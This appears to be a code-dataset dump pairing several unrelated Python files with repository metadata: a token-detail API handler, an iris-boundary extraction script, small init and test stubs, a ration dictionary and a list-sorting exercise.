description = 'invalid contract_address'
raise InvalidParameterError(description=description)
session = req.context["session"]
# 取扱トークンチェック
# NOTE:非公開トークンも取扱対象とする
listed_token = session.query(Listing).\
filter(Listing.token_address == contract_address).\
first()
if listed_token is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(contract_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = self.get_token_detail(
session=session,
token_address=token_address,
token_template=token[1],
)
if token_detail is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
self.on_success(res, token_detail)
@staticmethod
def get_token_detail(session, token_address: str, token_template: str, token_id: int = None):
"""
トークン詳細の取得
:param session: DB Session
:param token_address: トークンアドレス
:param token_template: トークンテンプレート
:param token_id: シーケンスID（任意）
:return: CouponToken(dict)
"""
if token_template == 'IbetCoupon':
try:
# Token-Contractへの接続
token_contract = Contract.get_contract(token_template, token_address)
# 取扱停止銘柄はリストに返さない
if not Contract.call_function(token_contract, "status", (), True):
return None
coupontoken = CouponToken.get(session=session, token_address=token_address)
coupontoken = coupontoken.__dict__
if token_id is not None:
coupontoken['id'] = token_id
return coupontoken
except Exception as e:
LOG.error(e)
return None
| 31.815496
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| 7
|
fe63ad0c6242cf57ea9e3475010de15833cf2574
| 6,126
|
py
|
Python
|
iris_edge_export.py
|
Jalilnkh/KartalOl-NIR-ISL2021031301
|
102db7328c35e23e2fd456da1486feffec8088a1
|
[
"MIT"
] | null | null | null |
iris_edge_export.py
|
Jalilnkh/KartalOl-NIR-ISL2021031301
|
102db7328c35e23e2fd456da1486feffec8088a1
|
[
"MIT"
] | null | null | null |
iris_edge_export.py
|
Jalilnkh/KartalOl-NIR-ISL2021031301
|
102db7328c35e23e2fd456da1486feffec8088a1
|
[
"MIT"
] | null | null | null |
from os import listdir
import numpy as np
import cv2
from skimage.morphology import skeletonize
from tensorflow.keras.models import load_model
IMAGE_SIZE1 = 224
IMAGE_SIZE2 = 224
def read_image(path):
x = cv2.imread(path, cv2.IMREAD_COLOR)
x = cv2.resize(x, (IMAGE_SIZE1, IMAGE_SIZE2))
x = x/255.0
return x
def iris_centrum(file_mask):
image_mask=file_mask
x=[]
y=[]
for i in range (223):
for j in range(223):
if image_mask[i,j] !=0:
x.append(i)
y.append(j)
yc=int(sum(x) /len(x))
xc=int(sum(y) /len(y))
return(xc,yc)
def radiuis_specifier(img):
sum=0
for i in range(len(img)):
for j in range(len(img[0])):
if 255 == img[i][j]:
sum+=1
radius=(sum/3.14)**.5
return radius
def iris_edge_extract(path):
model_iris_edge = load_model('MobileNetV2_Outer_boundary_10May.h5')
path_list=path.split('_')
onlyfiles = listdir('./'+path_list[0]+'/test/image/')
path_list='./'+path_list[0]+'/test/image/'
for file in onlyfiles:
x1 = read_image(path_list+file)
y_pred = model_iris_edge.predict(np.expand_dims(x1, axis=0))[0]
normalized = (y_pred[:, :, 1] - np.min(y_pred[:, :, 1])) / (
np.max(y_pred[:, :, 1]) - np.min(y_pred[:, :, 1]))
normalized = normalized * 255
normalized = normalized > 150
normalized = normalized * 255
normalized = normalized.astype(np.uint8)
croped_image = cv2.resize(normalized, (1088, 640))
dst = cv2.fastNlMeansDenoising(croped_image, None, 150.0, 7, 21)
th2 = dst > 172
#image = invert(th2)
# This part skeletonize images
skeleton = skeletonize(th2)
skeleton_img = skeleton.astype(np.uint8) # convert to an unsigned byte
skeleton_img *= 255
img_gray = croped_image *0
contours1, hierarchy = cv2.findContours(skeleton_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)
max_circle =np.ndarray(shape=(2,2), dtype=float, order='F')
flag = 0
for shape_ob in contours1:
if shape_ob.shape[0] > max_circle.shape[0]:
max_circle = shape_ob
flag=1
if flag:
img_gray = cv2.drawContours(img_gray, max_circle, -1, (255, 255, 255), 1)
else:
img_gray = skeleton_img
file_split = file.split('.')
cv2.imwrite('./'+path+'/Outer_Boundary/'+file_split[0]+'.png', img_gray)
def iris_edge_extract_mobile(path):
model_iris_edge = load_model('MobileNetV2_Outer_boundary_10May.h5')
path_list=path.split('_')
onlyfiles = listdir('./'+path_list[0]+'/test/image/')
path_list='./'+path_list[0]+'/test/image/'
for file in onlyfiles:
x1 = read_image(path_list+file)
y_pred = model_iris_edge.predict(np.expand_dims(x1, axis=0))[0]
normalized = (y_pred[:, :, 1] - np.min(y_pred[:, :, 1])) / (
np.max(y_pred[:, :, 1]) - np.min(y_pred[:, :, 1]))
normalized = normalized * 255
normalized = normalized > 150
normalized = normalized * 255
normalized = normalized.astype(np.uint8)
croped_image = cv2.resize(normalized, (400, 400))
dst = cv2.fastNlMeansDenoising(croped_image, None, 150.0, 7, 21)
th2 = dst > 172
# image = invert(th2)
# This part skeletonize images
skeleton = skeletonize(th2)
skeleton_img = skeleton.astype(np.uint8) # convert to an unsigned byte
skeleton_img *= 255
img_gray = croped_image * 0
contours1, hierarchy = cv2.findContours(skeleton_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)
max_circle = np.ndarray(shape=(2, 2), dtype=float, order='F')
for shape_ob in contours1:
if shape_ob.shape[0] > max_circle.shape[0]:
max_circle = shape_ob
flag = 0
for shape_ob in contours1:
if shape_ob.shape[0] > max_circle.shape[0]:
max_circle = shape_ob
flag = 1
if flag:
img_gray = cv2.drawContours(img_gray, max_circle, -1, (255, 255, 255), 1)
else:
img_gray = skeleton_img
file_split = file.split('.')
cv2.imwrite('./'+path+'/Outer_Boundary/'+file_split[0]+'.png', img_gray)
def iris_edge_extract_asia(path_in,path):
model_iris_edge = load_model('MobileNetV2_Outer_boundary_10May.h5')
onlyfiles = listdir('./' + path_in)
path_list = './' + path_in + '/'
for file in onlyfiles:
x1 = read_image(path_list + file)
y_pred = model_iris_edge.predict(np.expand_dims(x1, axis=0))[0]
normalized = (y_pred[:, :, 1] - np.min(y_pred[:, :, 1])) / (
np.max(y_pred[:, :, 1]) - np.min(y_pred[:, :, 1]))
normalized = normalized * 255
normalized = normalized > 150
normalized = normalized * 255
normalized = normalized.astype(np.uint8)
croped_image = cv2.resize(normalized, (640, 480))
dst = cv2.fastNlMeansDenoising(croped_image, None, 150.0, 7, 21)
th2 = dst > 172
# image = invert(th2)
# This part skeletonize images
skeleton = skeletonize(th2)
skeleton_img = skeleton.astype(np.uint8) # convert to an unsigned byte
skeleton_img *= 255
img_gray = croped_image * 0
contours1, hierarchy = cv2.findContours(skeleton_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)
max_circle = np.ndarray(shape=(2, 2), dtype=float, order='F')
for shape_ob in contours1:
if shape_ob.shape[0] > max_circle.shape[0]:
max_circle = shape_ob
flag = 0
for shape_ob in contours1:
if shape_ob.shape[0] > max_circle.shape[0]:
max_circle = shape_ob
flag = 1
if flag:
img_gray = cv2.drawContours(img_gray, max_circle, -1, (255, 255, 255), 1)
else:
img_gray = skeleton_img
file_split = file.split('.')
cv2.imwrite('./' + path + '/Outer_Boundary/' + file_split[0] + '.png', img_gray)
| 38.772152
| 99
| 0.594189
| 821
| 6,126
| 4.228989
| 0.152253
| 0.041475
| 0.020737
| 0.043203
| 0.838998
| 0.838998
| 0.838998
| 0.838998
| 0.838998
| 0.838998
| 0
| 0.059752
| 0.276037
| 6,126
| 157
| 100
| 39.019108
| 0.723112
| 0.037545
| 0
| 0.71223
| 0
| 0
| 0.040782
| 0.017842
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043165
| false
| 0
| 0.035971
| 0
| 0.093525
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fe715496b3e8105847aab343762057d5b1d1bf9f
| 35
|
py
|
Python
|
utils/pascal_voc_utils/__init__.py
|
Jaskaran197/Red-blood-cell-detection-SSD
|
a33b330ad17454a7425aa7f57818c0a41b4e0ff9
|
[
"MIT"
] | null | null | null |
utils/pascal_voc_utils/__init__.py
|
Jaskaran197/Red-blood-cell-detection-SSD
|
a33b330ad17454a7425aa7f57818c0a41b4e0ff9
|
[
"MIT"
] | null | null | null |
utils/pascal_voc_utils/__init__.py
|
Jaskaran197/Red-blood-cell-detection-SSD
|
a33b330ad17454a7425aa7f57818c0a41b4e0ff9
|
[
"MIT"
] | null | null | null |
from .read_label import read_label
| 17.5
| 34
| 0.857143
| 6
| 35
| 4.666667
| 0.666667
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114286
| 35
| 1
| 35
| 35
| 0.903226
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
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| 1
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| 1
| 1
| 0
| null | 1
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
fe7f93d76788fafd6ccdaa514ccc2d09c74c3105
| 102
|
py
|
Python
|
fipomdp/log_utils.py
|
xbrlej/FiPOMDP
|
b7a97aaaf43a43e5ee9b8776c0e7f6d0bb09392f
|
[
"MIT"
] | null | null | null |
fipomdp/log_utils.py
|
xbrlej/FiPOMDP
|
b7a97aaaf43a43e5ee9b8776c0e7f6d0bb09392f
|
[
"MIT"
] | null | null | null |
fipomdp/log_utils.py
|
xbrlej/FiPOMDP
|
b7a97aaaf43a43e5ee9b8776c0e7f6d0bb09392f
|
[
"MIT"
] | null | null | null |
import logging
def get_logger_for_seed(random_seed):
return logging.getLogger(f"{random_seed}")
| 17
| 46
| 0.784314
| 15
| 102
| 5
| 0.733333
| 0.266667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 102
| 5
| 47
| 20.4
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0.127451
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
a3af929bd49947be9d47e5197b5d53da4bf82a35
| 163
|
py
|
Python
|
test/test_admin.py
|
DS-POC/operator-service
|
f99d10f36c694f3ebdc0c10a9b3021bc4bd5a238
|
[
"Apache-2.0"
] | 3
|
2021-10-04T09:23:39.000Z
|
2022-02-26T21:20:21.000Z
|
test/test_admin.py
|
DS-POC/operator-service
|
f99d10f36c694f3ebdc0c10a9b3021bc4bd5a238
|
[
"Apache-2.0"
] | null | null | null |
test/test_admin.py
|
DS-POC/operator-service
|
f99d10f36c694f3ebdc0c10a9b3021bc4bd5a238
|
[
"Apache-2.0"
] | null | null | null |
def test_init_pgsqlexecution():
return
def test_get_execution_info():
return
def test_list_executions():
return
def test_get_logs():
return
| 10.1875
| 31
| 0.711656
| 21
| 163
| 5.095238
| 0.52381
| 0.261682
| 0.364486
| 0.299065
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.214724
| 163
| 15
| 32
| 10.866667
| 0.835938
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
a3d0893f8d95e6146424fd65cbb44ecdb2e61fdf
| 1,769
|
py
|
Python
|
misc/highlands/dict/highlands_detail_needs.py
|
Shadybloom/amber-in-the-dark
|
688a6c6fe1a251860174d14a0ca76b5b1c5a5527
|
[
"WTFPL"
] | null | null | null |
misc/highlands/dict/highlands_detail_needs.py
|
Shadybloom/amber-in-the-dark
|
688a6c6fe1a251860174d14a0ca76b5b1c5a5527
|
[
"WTFPL"
] | 3
|
2018-06-25T21:10:44.000Z
|
2019-07-03T13:51:09.000Z
|
misc/highlands/dict/highlands_detail_needs.py
|
Shadybloom/amber-in-the-dark
|
688a6c6fe1a251860174d14a0ca76b5b1c5a5527
|
[
"WTFPL"
] | 2
|
2018-06-24T23:00:17.000Z
|
2019-06-29T10:42:16.000Z
|
#----
# Потребление (пища):
metadict_army['Едоки-женщины (горожане)'] = {
'Городской рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-мужчины (горожане)'] = {
'Городской рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-женщины (знатные)'] = {
'Богатый рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-мужчины (знатные)'] = {
'Богатый рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-мужчины (селяне)'] = {
'Сельский рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-мужчины (скотоводы)'] = {
'Скотоводческий рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-женщины (селяне)'] = {
'Сельский рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-женщины (скотоводы)'] = {
'Скотоводческий рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-женщины (карлы)'] = {
'Рабский рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-мужчины (карлы)'] = {
# Исправить
# Карлов будем кормить рыбой и ячменём.
# "Вино" из выжимок, пустой хлеб на завтрак, пустая каша на ужин.
'Рабский рацион (человек/год)':1,
'-Едоки':1,
}
metadict_army['Едоки-женщины (рабы)'] = {
# Домашние рабы. Обычно их кормят из общего котла.
'Сельский рацион (человек/год)':1 / 2,
'Рабский рацион (человек/год)':1 / 2,
'-Едоки':1,
}
metadict_army['Едоки-мужчины (рабы)'] = {
'Сельский рацион (человек/год)':1 / 2,
'Рабский рацион (человек/год)':1 / 2,
'-Едоки':1,
}
| 25.637681
| 77
| 0.539288
| 186
| 1,769
| 5.064516
| 0.247312
| 0.193206
| 0.237792
| 0.252654
| 0.804671
| 0.804671
| 0.779193
| 0.779193
| 0.779193
| 0.779193
| 0
| 0.023866
| 0.289429
| 1,769
| 68
| 78
| 26.014706
| 0.725537
| 0.104579
| 0
| 0.52
| 0
| 0
| 0.479087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
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| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
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| 0
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| 0
| 0
| 0
| 0
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| 0
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| 0
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| null | 0
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| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
a3e105ef8001dd84763f3bf1aafc957a6e3978fa
| 1,845
|
py
|
Python
|
ex080.py
|
pepev123/PythonEx
|
8f39751bf87a9099d7b733aa829988595dab2344
|
[
"MIT"
] | null | null | null |
ex080.py
|
pepev123/PythonEx
|
8f39751bf87a9099d7b733aa829988595dab2344
|
[
"MIT"
] | null | null | null |
ex080.py
|
pepev123/PythonEx
|
8f39751bf87a9099d7b733aa829988595dab2344
|
[
"MIT"
] | null | null | null |
lista = []
x = int
for c in range(1,6):
x = input('Digite um valor:')
if x in lista:
while x in lista:
x = input('Valor repetido esse número não contou. Tente novamente: ')
if c == 1:
lista.append(x)
if c == 2:
if x > lista[-1]:
lista.insert(-1, x)
elif c == 3:
if x > lista[-2]:
lista.insert(-2, x)
elif x > lista[-1]:
lista.insert(-1, x)
elif c == 4:
if x > lista[-3]:
lista.insert(-3, x)
elif x > lista[-2]:
lista.insert(-2, x)
elif x > lista[-1]:
lista.insert(-1, x)
elif c == 5:
if x > lista[-4]:
lista.insert(-4, x)
elif x > lista[-3]:
lista.insert(-3, x)
elif x > lista[-2]:
lista.insert(-2, x)
elif x > lista[-1]:
lista.insert(-1, x)
else:
if c == 1:
lista.append(x)
if c == 2:
if x > lista[-1]:
lista.insert(-1, x)
elif c == 3:
if x > lista[-2]:
lista.insert(-2, x)
elif x > lista[-1]:
lista.insert(-1, x)
elif c == 4:
if x > lista[-3]:
lista.insert(-3, x)
elif x > lista[-2]:
lista.insert(-2, x)
elif x > lista[-1]:
lista.insert(-1, x)
elif c == 5:
if x > lista[-4]:
lista.insert(-4, x)
elif x > lista[-3]:
lista.insert(-3, x)
elif x > lista[-2]:
lista.insert(-2, x)
elif x > lista[-1]:
lista.insert(-1, x)
print(lista)
print(lista)
| 28.384615
| 81
| 0.368564
| 233
| 1,845
| 2.918455
| 0.133047
| 0.176471
| 0.105882
| 0.194118
| 0.794118
| 0.794118
| 0.794118
| 0.794118
| 0.794118
| 0.794118
| 0
| 0.055085
| 0.488347
| 1,845
| 64
| 82
| 28.828125
| 0.665254
| 0
| 0
| 0.870968
| 0
| 0
| 0.039024
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.032258
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4a4dbbe64f15781f6a2ca644941824a052559b45
| 198
|
py
|
Python
|
mysite/accounts/views.py
|
B-Rad80/code-components
|
f0aa4479b2329570ad56af31903467e0e166952f
|
[
"BSD-3-Clause"
] | null | null | null |
mysite/accounts/views.py
|
B-Rad80/code-components
|
f0aa4479b2329570ad56af31903467e0e166952f
|
[
"BSD-3-Clause"
] | 8
|
2020-02-11T23:32:59.000Z
|
2022-03-11T23:36:51.000Z
|
mysite/accounts/views.py
|
B-Rad80/code-components
|
f0aa4479b2329570ad56af31903467e0e166952f
|
[
"BSD-3-Clause"
] | null | null | null |
from django.shortcuts import render
# Create your views here.
def signup(request):
return render(request, 'app/signup.html')
def signin(request):
return render(request, 'app/signup.html')
| 22
| 45
| 0.737374
| 27
| 198
| 5.407407
| 0.592593
| 0.178082
| 0.260274
| 0.356164
| 0.534247
| 0.534247
| 0.534247
| 0
| 0
| 0
| 0
| 0
| 0.146465
| 198
| 9
| 46
| 22
| 0.863905
| 0.116162
| 0
| 0.4
| 0
| 0
| 0.172414
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0.4
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
4a71101f8faf61eca06fe797efe27a245fc8fb98
| 58
|
py
|
Python
|
from_root/__init__.py
|
EduardKononov/from-root
|
eb80e93a31861217162705a4250a5f73c3821cbc
|
[
"MIT"
] | 7
|
2021-03-26T13:11:48.000Z
|
2022-02-15T10:20:43.000Z
|
from_root/__init__.py
|
EduardKononov/from-root
|
eb80e93a31861217162705a4250a5f73c3821cbc
|
[
"MIT"
] | null | null | null |
from_root/__init__.py
|
EduardKononov/from-root
|
eb80e93a31861217162705a4250a5f73c3821cbc
|
[
"MIT"
] | 1
|
2021-07-20T12:56:48.000Z
|
2021-07-20T12:56:48.000Z
|
from from_root.root import *
from from_root.here import *
| 19.333333
| 28
| 0.793103
| 10
| 58
| 4.4
| 0.4
| 0.363636
| 0.545455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137931
| 58
| 2
| 29
| 29
| 0.88
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
4a9e3735ca9957049d20e86bb062345da2ce85f5
| 162
|
py
|
Python
|
running_modes/create_model/__init__.py
|
lilleswing/Reinvent-1
|
ac4e3e6fa6379c6f4af883478dfd1b3407933ada
|
[
"Apache-2.0"
] | 183
|
2020-04-04T02:01:15.000Z
|
2022-03-30T21:56:56.000Z
|
running_modes/create_model/__init__.py
|
lilleswing/Reinvent-1
|
ac4e3e6fa6379c6f4af883478dfd1b3407933ada
|
[
"Apache-2.0"
] | 39
|
2020-04-05T15:19:56.000Z
|
2022-03-09T12:58:21.000Z
|
running_modes/create_model/__init__.py
|
lilleswing/Reinvent-1
|
ac4e3e6fa6379c6f4af883478dfd1b3407933ada
|
[
"Apache-2.0"
] | 70
|
2020-04-05T19:25:43.000Z
|
2022-02-22T12:04:39.000Z
|
from running_modes.create_model.create_model import CreateModelRunner
from running_modes.create_model.link_invent_create_model import LinkInventCreateModelRunner
| 54
| 91
| 0.925926
| 20
| 162
| 7.1
| 0.5
| 0.309859
| 0.225352
| 0.309859
| 0.380282
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.049383
| 162
| 2
| 92
| 81
| 0.922078
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
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